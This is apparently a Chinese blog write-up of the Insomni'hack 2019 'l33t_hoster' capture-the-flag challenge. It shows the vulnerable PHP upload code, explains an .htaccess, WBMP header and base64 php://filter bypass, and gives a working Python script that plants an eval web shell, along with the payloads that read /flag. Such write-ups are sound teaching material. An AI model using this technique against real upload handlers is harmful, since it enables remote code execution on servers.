http://bmzclub.cn/challenges#insomniteaser_2019_l33t_hoster



文件上传,/?source回显源码

<?php
if (isset($_GET["source"])) die(highlight_file(__FILE__));session_start();if (!isset($_SESSION["home"])) {$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {mkdir($userdir);
}$disallowed_ext = array("php","php3","php4","php5","php7","pht","phtm","phtml","phar","phps",
);if (isset($_POST["upload"])) {if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {die("yuuuge fail");}$tmp_name = $_FILES["image"]["tmp_name"];$name = $_FILES["image"]["name"];$parts = explode(".", $name);$ext = array_pop($parts);if (empty($parts[0])) {array_shift($parts);}if (count($parts) === 0) {die("lol filename is empty");}if (in_array($ext, $disallowed_ext, TRUE)) {die("lol nice try, but im not stupid dude...");}$image = file_get_contents($tmp_name);if (mb_strpos($image, "<?") !== FALSE) {die("why would you need php in a pic.....");}if (!exif_imagetype($tmp_name)) {die("not an image.");}$image_size = getimagesize($tmp_name);if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {die("lol noob, your pic is not l33t enough");}$name = implode(".", $parts);move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";?>
  • 黑名单:phpphp3php4php5php7phtphtmphtmlpharphps
  • 上传的文件内容中不能有<?字样
  • 必须是exif_imagetype中一种图片格式,且长宽得是1337*1337规格的

因为这里服务器是Apache/2.4.18 (Ubuntu),所以第一个想到的是上传.htaccess文件,在AllowOverride开启的情况下,.htaccess文件可以修改 PHP 能解析的文件后缀,但是这里要求上传exif_imagetype中的图片格式,会检查图片开头,如果将正常图片的文件头放在exif_imagetype中绕过检查,那样会影响.htaccess的解析。最终在exif_imagetype中找到一种叫wbmp的文件,该文件开头是0x00,0x00,再加上宽度和高度内容很小,不会影响.htaccess解析,这样就可以绕过黑名单和exif_imagetype,但是还是无法绕过上传文件中不能有<?字样

Apache2的配置文件中可以用php_value来覆盖php.ini的设置,而php.ini中有一条设置:auto_append_file,用来再所有php文件执行前先include一个文件,而在include中我们可以使用PHP流。那么我们就可以先上传.htaccess文件解析执行后缀名文件,在.htaccess中设置auto_append_file项,设置了之后就可以使用PHP流,那么我们之后上传的shell文件就可以base64编码绕过关键字过滤,然后使用php://流中的base64编码设置来解码shell内容然后解析

这里就直接利用Refer里面的那个脚本

#!/usr/bin/env python3
import requests
import base64VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://www.bmzclub.cn:20351/"
RANDOM_DIRECTORY = "9541e8141d8a9e9b3b810a3560d4ad694a5a3db0"COOKIES = {"PHPSESSID" : "33eb9c27d8a983d935e15389ba99b05b"
}def upload_content(name, content):data = {"image" : (name, content, 'image/png'),"upload" : (None, "Submit Query", None)}response = requests.post(URL, files=data, cookies=COOKIES)HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=mochu7.jpg"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?phpecho "shell ok!";eval($_POST['mochu7']);
?>
""")upload_content("..htaccess", HT_ACCESS)
upload_content("mochu7.jpg", TARGET_FILE)response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/mochu7.jpg")
print(response.text)


然后访问/images/9541e8141d8a9e9b3b810a3560d4ad694a5a3db0/mochu7.jpg

shell拿到了,但是有很多disable_function

shell是废的,但是没有过滤scandir()file_get_contents(),那就还可以浏览文件,根目录直接找到/flag

mochu7=var_dump(scandir('/'));
mochu7=var_dump(file_get_contents('/flag'));

Refer: https://tiaonmmn.github.io/2019/05/15/Insomni-hack-teaser-2019-l33-hoster/

BMZCTF:insomniteaser_2019_l33t_hoster相关推荐

  1. BMZCTF:个人所得税

    http://www.bmzclub.cn/challenges#%E4%B8%AA%E4%BA%BA%E6%89%80%E5%BE%97%E7%A8%8E 很明显是SSTI,但是{{''.__cla ...

  2. BMZCTF:just_play

    http://www.bmzclub.cn/challenges#just_play 打开是个小游戏,保存源码本地修改参数赢得比赛后发现没啥信息.继续观察发现 http://www.bmzclub.c ...

  3. BMZCTF:Fix it

    http://bmzclub.cn/challenges#Fix%20it Fix_it.png 修复另外定位点即可,使用PS将右上这个定位点复制两个,移动到另外两个定位点的位置 然后将定位点外的一圈 ...

  4. BMZCTF:掘地三尺

    http://bmzclub.cn/challenges#%E6%8E%98%E5%9C%B0%E4%B8%89%E5%B0%BA juedisanchi.doc打开隐藏文字,全选切换颜色 第一部分f ...

  5. BMZCTF:海量的txt文件

    http://bmzclub.cn/challenges#%E6%B5%B7%E9%87%8F%E7%9A%84txt%E6%96%87%E4%BB%B6 大量txt文件 直接全局找一些关键字flag ...

  6. BMZCTF:BMP

    http://bmzclub.cn/challenges#BMP 24.bmp 根据附件名称提示这应该是24位bmp文件,那么根据这个24位bmp文件的格式,图片大小为202800字节,即可计算 he ...

  7. BMZCTF:哆啦A梦

    http://bmzclub.cn/challenges#%E5%93%86%E5%95%A6A%E6%A2%A6 对图片binwalk分析发现附加了另外一张png图片 这张png是一张底部被截掉了一 ...

  8. 转载:dbc文件格式解析

    首发于 汽车ECU开发 写文章 dbc文件格式解析 小木子 ​ 关注他 10 人 赞同了该文章 dbc对于汽车工程师来说,应该说是很熟了,它是用于描述整车CAN通信矩阵的文件,包括CAN消息的ID定义 ...

  9. 大数据技术之_19_Spark学习_07_Spark 性能调优 + 数据倾斜调优 + 运行资源调优 + 程序开发调优 + Shuffle 调优 + GC 调优 + Spark 企业应用案例

    大数据技术之_19_Spark学习_07 第1章 Spark 性能优化 1.1 调优基本原则 1.1.1 基本概念和原则 1.1.2 性能监控方式 1.1.3 调优要点 1.2 数据倾斜优化 1.2. ...

最新文章

  1. SDRAM 相关资料
  2. 7.7-9 chage、chpasswd、su
  3. 简单的了解一下AQS吧
  4. 使用nodejs构建Docker image最佳实践
  5. 看电影也花屏,谁是幕后元凶
  6. 用Eclipse开发项目,你不能不知道的快捷键
  7. 利用电脑上自带指纹识别嵌入程序中_Win 10 隐藏功能:不用任何软件就可实现手机投屏到电脑...
  8. 城市发展规律及未来走向进行认知与预测的机构
  9. DeFi史上最大盗窃案:一个漏洞盗走价值6亿美元资产?
  10. php写cms,浅谈thinkPHP,国内写CMS利用率最高的框架
  11. Dev gridView中设置自适应列宽和日期显示格式、金额的显示格式
  12. 十大Ajax框架(排名不分先后)
  13. java 加密工具包_加密工具类 - CryptoUtils.java
  14. 第十人理论 - 大前研一 - 专业主义
  15. csdn广告屏蔽方法
  16. drwxr-xr-x是啥意思
  17. cad断点快捷键_入门CAD必备,如何有效记住CAD快捷键
  18. 首批接入司法数据的网贷平台已拒贷3万余失信被执行人
  19. 卧操,女性私密数据曝光,原来富婆都在广西…
  20. 《好好学习》读书笔记心得感悟1400字

热门文章

  1. 【学习笔记】密码学入门(2) 单向散列函数,消息认证码,数字签名,证书
  2. 华为计算机黑屏怎么办,华为笔记本升级后黑屏怎么回事
  3. 如何去掉CSDN中图片的水印
  4. UE4快速实现涂鸦功能
  5. 阿里“小前台、大中台”的解读
  6. MySQL 自增长主键 在删除数据后依然接着删除的数据增长
  7. 回顾刚来的那一天还历历在目,不禁感概一番
  8. ORAN传输封装类型
  9. mysql 表情符_java+mysql对于表情符的处理
  10. Mac系统关闭体统提示升级